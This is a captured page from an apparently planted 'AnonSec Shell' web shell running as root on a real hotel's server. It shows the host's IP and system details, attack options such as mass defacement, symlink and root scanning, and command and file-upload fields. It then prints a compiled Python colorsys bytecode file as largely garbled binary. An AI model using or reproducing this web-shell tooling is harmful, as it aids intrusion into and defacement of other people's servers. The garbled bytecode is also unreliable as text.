AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3.10/__pycache__/colorsys.cpython-310.pyc
o

}�5h��@sTdZgd�ZdZdZdZdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)aJConversion functions between RGB and other color systems.

This modules provides two functions for each color system ABC:

  rgb_to_abc(r, g, b) --> a, b, c
  abc_to_rgb(a, b, c) --> r, g, b

All inputs and outputs are triples of floats in the range [0.0...1.0]
(with the exception of I and Q, which covers a slightly larger range).
Inputs outside the valid range may cause exceptions or invalid outputs.

Supported color systems:
RGB: Red, Green, Blue components
YIQ: Luminance, Chrominance (used by composite video signals)
HLS: Hue, Luminance, Saturation
HSV: Hue, Saturation, Value
)�
rgb_to_yiq�
yiq_to_rgb�
rgb_to_hls�
hls_to_rgb�
rgb_to_hsv�
hsv_to_rgbgUUUUUU�?gUUUUUU�?gUUUUUU�?cCsRd|d|d|}d||d||}d||d||}|||fS)Ng333333�?g�z�G��?g)\��(�?g�G�z��?gH�z�G�?g���Q��?g=
ףp=�?�)�r�g�b�y�i�qrr�/usr/lib/python3.10/colorsys.pyr(s
rcCs�|d|d|}|d|d|}|d|d|}|dkr$d}|dkr*d}|dkr0d}|dkr6d}|dkr<d}|dkrBd}|||fS)	Ng2r��L�?g����,��?g:�����?g�nєW�?g6�޷���?gJ"�X�?���?r)rrr
rr	r
rrrr.s 
rc
Cs�t|||�}t|||�}||}||}|d}||kr!d|dfS|dkr*||}n|d|}|||}	|||}
|||}||krK||
}n||krVd|	|}nd|
|	}|dd}|||fS)N�@r��?�@�@r��max�min)
rr	r
�maxc�minc�sumc�rangec�l�s�rc�gc�bc�hrrrrKs(



rcCsn|dkr	|||fS|dkr|d|}n||||}d||}t|||t�t|||�t|||t�fS)Nrrrr)�_v�	ONE_THIRD)r!rr�m2�m1rrrrcs
*rcCsT|d}|tkr||||dS|dkr|S|tkr(|||t|dS|S)Nrrr)�	ONE_SIXTH�	TWO_THIRD)r%r$�huerrrr"msr"cCs�t|||�}t|||�}|}||krdd|fS|||}||||}||||}||||}	||kr>|	|}
n||krId||	}
nd||}
|
dd}
|
||fS)Nrrrrrr)rr	r
rr�vrrrr r!rrrr}s 


rcCs�|dkr	|||fSt|d�}|d|}|d|}|d||}|d|d|}|d}|dkr:|||fS|dkrC|||fS|dkrL|||fS|dkrU|||fS|d	kr^|||fS|d
krg|||fSdS)Nrrr�������)�int)r!rr)r�f�pr
�trrrr�s*






�rN)�__doc__�__all__r#r&r'rrrrr"rrrrrr�<module>s	


Anon7 - 2022
AnonSec Team